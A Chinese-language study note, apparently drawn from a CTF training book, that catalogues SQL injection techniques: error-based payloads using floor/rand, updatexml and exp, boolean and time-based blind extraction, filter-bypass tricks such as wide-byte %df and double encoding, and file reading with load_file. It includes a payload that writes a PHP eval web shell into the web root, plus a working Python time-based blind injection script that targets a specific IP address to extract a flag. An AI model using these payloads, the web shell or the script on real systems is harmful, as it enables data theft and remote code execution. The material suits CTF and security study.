书籍:《CTF特训营》

0x01 常见类型

  • 可回显的注入
    • 联合查询注入
    • 报错注入
    • 注入进行DNS请求
  • 不可回显的注入
    • Bool注入
    • 时间注入
  • 二次注入

0x02 联合查询

1
2
3
4
5
6
<?php
$id = $_GET['id'];
$getid = "SELECT Id FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die(mysql.error());
$num = mysql_numrows($result);
...

0x03 报错注入

​ 常见MySQL的函数:updatexml(extractvalue)、 floorexp

  • updatexml 更新,extractvalue查询===>XML

    1
    2
    MariaDB [(none)]> select updatexml(1,concat(0x7e,(select version()),0x7e),1);
    ERROR 1105 (HY000): XPATH syntax error: '~10.4.8-MariaDB~'
    1
    2
    MariaDB [(none)]> select extractvalue(1,concat(0x7e,(select version()),0x7e));
    ERROR 1105 (HY000): XPATH syntax error: '~10.4.8-MariaDB~'
  • floor

    作用:向下取整。

    报错原理:rand和order by或group by 冲突。

    知识补充:rand()函数是随机数生成函数,但是给定随机数种子seed后,每次运行rand(seed)会得到相同的结果。

    已知 floor(rand(0)*2)前几次结果如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    MariaDB [test]> select floor(rand(0)*2) from test_floor;
    +------------------+
    | floor(rand(0)*2) |
    +------------------+
    | 0 |
    | 1 |
    | 1 |
    | 0 |
    | 1 |
    | 1 |
    +------------------+
    6 rows in set (0.000 sec)

    过程如下:

    • 创建虚拟表:用于保存键和count(*)结果,主键keygroup by的属性。

    • 查询第一条记录,并计算floor(rand(0)*2)=0,(第一次结果)。

    • 查询虚拟表,查找key=0是否存在,若存在count(0)+=1;若不存在,则添加一条记录。

    • 查询后发现key=0不存在,则添加一条记录:key=floor(rand(0)*2)=1(第二次结果),count(1)=1

    • 查询第二条记录,计算 floor(rand(0)*2)=1(第三次结果)。

    • 查询虚拟表,发现 key=1存在,则此时令 count(1)+=1

    • 查询第三条记录,计算 floor(rand(0)*2)=0(第四次结果)。

    • 查询虚拟表,发现 key=0不存在。则添加一条记录:key=floor(rand(0)*2)=1(第五次结果)。此时由于主键重复数据库报错!!!

    爆破数据库版本:

    1
    select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a

    构造Payload:

    1
    ?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

    爆破当前用户:

    1
    ?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

    爆破当前数据库:

    1
    ?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

    爆破指定字段:表名为user (0x75736572)

    1
    ?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e) from information_schema.columns where table_name=0x75736572 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
  • exp

    作用:exp(n)返回ene^n的值。

    报错本质:溢出。

    1
    select exp(~(select * from (select user())x));

    报错会回显查询的信息。

0x04 Bool盲注

​ 网页中,真和假有不同的回显。

  • 截取函数

    函数名 说明
    substr() substr(str,start,length)。示例substr(user(),1,1)判断user函数返回的一个字符,后续依次修改start参数进行判断。
    left() left(user(),1)。假设用户名为admin:
    select a from b where left(a,1)='a'
    select a from b where left(a,2)='ad'
    right() 用法同left()
  • 转换函数

    函数名 说明
    ascii() 将字符转化成ASCII码,避免Payload中出现单引号。
    使用方法:ascii(char),若char是字符串,则返回第一个字母的ASCII码。
    常与substr连用:ascii(substr(user(),1,1))
    hex() 将字符转化成十六进制,用法同ascii函数。
    在ascii函数被禁用时或将二进制数据写入文件时,可以考虑hex函数。
  • 比较函数

    函数名 说明
    if() 使用方法:if(cond,True_result,False_result)
    示例:?id=1 and 1=if(ascii(substr(user(),1,1))=97,1,2) ,判断user的第一位是否是’a’。

在盲注过程中,使用Sqlmap可能存在误报。
原因在于一些数据返回页面及接口返回数据时,可能存在返回的是随机字符串,如时间戳或防止CSRF的Token等。此时使用自动化检测脚本会出现误报。

0x05 时间盲注

​ 如果正确和错误存在相同的回显。错误信息被过滤掉,可以通过页面响应时间进行按位判断数据。时间盲注的函数一般是在数据库空执行,这样会让服务器负载过高。因此比赛中很少出现。

函数名 说明
sleep() 睡眠函数,使用方法 sleep(N),N 为睡眠时间。
if(ascii(substr(user(),1,1))=114,sleep(5),2)这里判断user首位是不是’r’,这里的5秒是指在数据库的时间,由于网络延迟,可能会更高
benchmark() 重复执行某个语句的函数,可以用这个测试数据库的读写性能。
使用方法如下:benchmark(N,expression),N 为执行次数,expression为表达式。
通过多次执行,达到消耗时间的作用,例如将表达式设置成MD5()

0x06 二次注入

二次注入的起因是数据在第一次入库时,进行了一些过滤和转义,当这些数据从数据库中取出来在SQL语句中进行拼接,而这次拼接的过程中没有进行过滤,此时能执行构造好的SQL语句。

补充

MySQL的版本在5.0.0与5.6.6之间时,在如下位置可以进行注入:

1
select field from table where id>0 order by id limit {injection_point}

使用如下Payload进行注入:

1
select field from user where id>0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

0x07 注入点的位置及发现

1.常见注入点位置

  • GET参数注入:从地址栏获取URL及参数,手工验证即可。
  • POST中的注入:通过抓包操作来发现。
  • User-Agent:Burp的Repeater模块,或Sqlmap设置level=3。
  • Cookies注入:Burp的Repeater模块,或Sqlmap设置level=2。

2.判断注入点是否存在

0x08 绕过姿势

1.过滤关键字

  • 双写绕过:oorrselselectect

  • 大小写绕过:SeLectUniOn

  • 十六进制绕过:selec\x74o\x72

  • 双重URL编码:

    or==>%25%36%66%25%37%32

    select==>%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34

2.过滤空格

  • 通过注释绕过:

    • //
    • /**/
    • ;%00
  • URL编码绕过:%20 ==>%2520

  • 空白字符绕过(十六进制):

    数据库 空白字符
    SQLite3 09,0A,0C,0D,20
    MySQL5 09,0A,0B,0C,0D,20,A0
    PosgressSQL 09,0A,0C,0D,20
    Oracle 11g 00,09,0A,0C,0D,20
    MSSQL 01~20
  • 特殊符号:反引号、在不同场景下:加号、减号、感叹号也会有相同的作用。

  • 科学计数法:

    1
    select user,password from users where user_id=0e1union select 1,2

3.过滤单引号

​ 魔术引号,即PHP配置文件php.ini中magic_quote_gpc。PHP版本小于5.4时,使用GB2312、GBK等宽字节编码。可以在注入点增加%df尝试宽字节注入(如%df%27)。原理是PHP在向MySQL发送时,MySQL使用一次character_set_client设置进行一次编码,从而绕过对单引号的过滤。

示例:

1
id=1%df' and 1=1%23
1
select * from user where id ='1運' and 1=1#'

​ MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。

4.绕过相等过滤

​ MySQL存在utf8_unicode_ci和utf8_general_ci两种编码格式。

0x09 读取文件

  • 读文件

    1
    select load_file('/etc/hosts');

    绕过单引号:

    1
    select load_file(0x2F6574632F686F737473);

    常见读取的文件:已给的flag文件、MySQL配置文件、Apache配置文件、.bash_history等。

  • 写文件

    1
    ?id=-1+union+select+'<?php @eval($_POST['lowbee']);?>'+into+outfile '/var/www/html/shell.php'; 
    1
    ?id=-1+union+select+unhex(一句话木马十六进制)+into+dumpfile '/var/www/html/shell.php'; 

    首先需要知道是否有写文件的权限,该权限由secure_file_priv决定,可以尝试写入一个已经存在的文件。

    • 其中当参数 secure_file_priv 为空时,对导入导出无限制
    • 当值为一个指定的目录时,只能向指定的目录导入导出
    • 当值被设置为NULL时,禁止导入导出功

0x10 示例

INSTER INTO注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import requests

url="http://123.206.87.240:8002/web15/"
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_'
payload_db = "1'+(select case when (substr(database() from {0} for 1)='{1}') then sleep(6) else 1 end)+'1"
# db_name=''
# for i in range(1,6):
# for j in chars:
# try:
# headers = {'x-forwarded-for':payload_db.format(i,j)}
# res=requests.get(url=url,headers=headers,timeout=5)
# print(res.text)
# except requests.exceptions.ReadTimeout:
# print(payload_db.format(i,j))
# db_name +=j
# break
# print(db_name) #web15
db_name = 'web15'
payload_table_num = "1'+(select case when (select count(*) from information_schema.TABLES where TABLE_SCHEMA='{0}')='{1}' then sleep(6) else 1 end)+'1"
#
# for i in range(5):
# try:
# headers = {'x-forwarded-for':payload_table_num.format(db_name,str(i))}
# res=requests.get(url=url,headers=headers,timeout=5)
# # print(res.text)
# except requests.exceptions.ReadTimeout:
# # print(payload_db.format(i,j))
# print(i)
# break
table_num=2
payload_table_name_len = "1'+(select case when (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1})='{2}' then sleep(6) else 1 end)+'1"
# for i in range(table_num):
# for j in range(30):
# try:
# headers = {'x-forwarded-for':payload_table_name_len.format(db_name,i,j)}
# res = requests.get(url,headers=headers,timeout=5)
# except requests.exceptions.ReadTimeout:
# print(j)
# break
# len[1]=9,len[2]=4


payload_table_name = "1'+(select case when(substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) from {2} for 1))='{3}' then sleep(6) else 1 end)+'1"

# for i in range(table_num):
# table_name=''
# for j in range(1,10):
# for c in chars:
# try:
# headers = {'x-forwarded-for':payload_table_name.format(db_name,i,j,c)}
# res = requests.get(url,headers=headers,timeout=5)
# # print(i,j,c)
# except requests.exceptions.ReadTimeout:
# # print("ERROR")
# print(i, j, c)
# # print(payload_table_name.format(db_name,i,j,c))
# table_name+=c
# break
#
#table: client_ip、 flag
#--------------------------columns---------
table_name ="flag"
payload_col_num ="1'+(select case when(select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}')={2} then sleep(6) else 1 end)+'1"

# for i in range(30):
# try:
# headers = {'x-forwarded-for':payload_col_num.format(db_name,table_name,i)}
# res = requests.get(url,headers=headers,timeout=5)
# except requests.exceptions.ReadTimeout:
# print(i)
#
#col_num = 1

payload_col_name ="1'+(select case when(substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset 0) from {2} for 1))='{3}' then sleep(6) else 1 end)+'1"
# for i in range(20):
# col_name=''
# for j in chars:
# try:
# headers = {'x-forwarded-for':payload_col_name.format(db_name,table_name,i,j)}
# res = requests.get(url,headers=headers,timeout=5)
# except requests.exceptions.ReadTimeout:
# print(i,j)
# col_name+=j
# break
# col_name ='flag'
col_name = 'flag'

payload_flag="1'+(select case when(substr((select flag from flag) from {0} for 1)='{1}') then sleep(6) else 1 end)+'1"
flag=""
for i in range(100):
for j in chars:
try:
headers={'x-forwarded-for':payload_flag.format(i,j)}
res = requests.get(url,headers=headers,timeout=5)
except requests.exceptions.ReadTimeout:
print(i,j)
flag+=j
break
except:
pass

print(flag)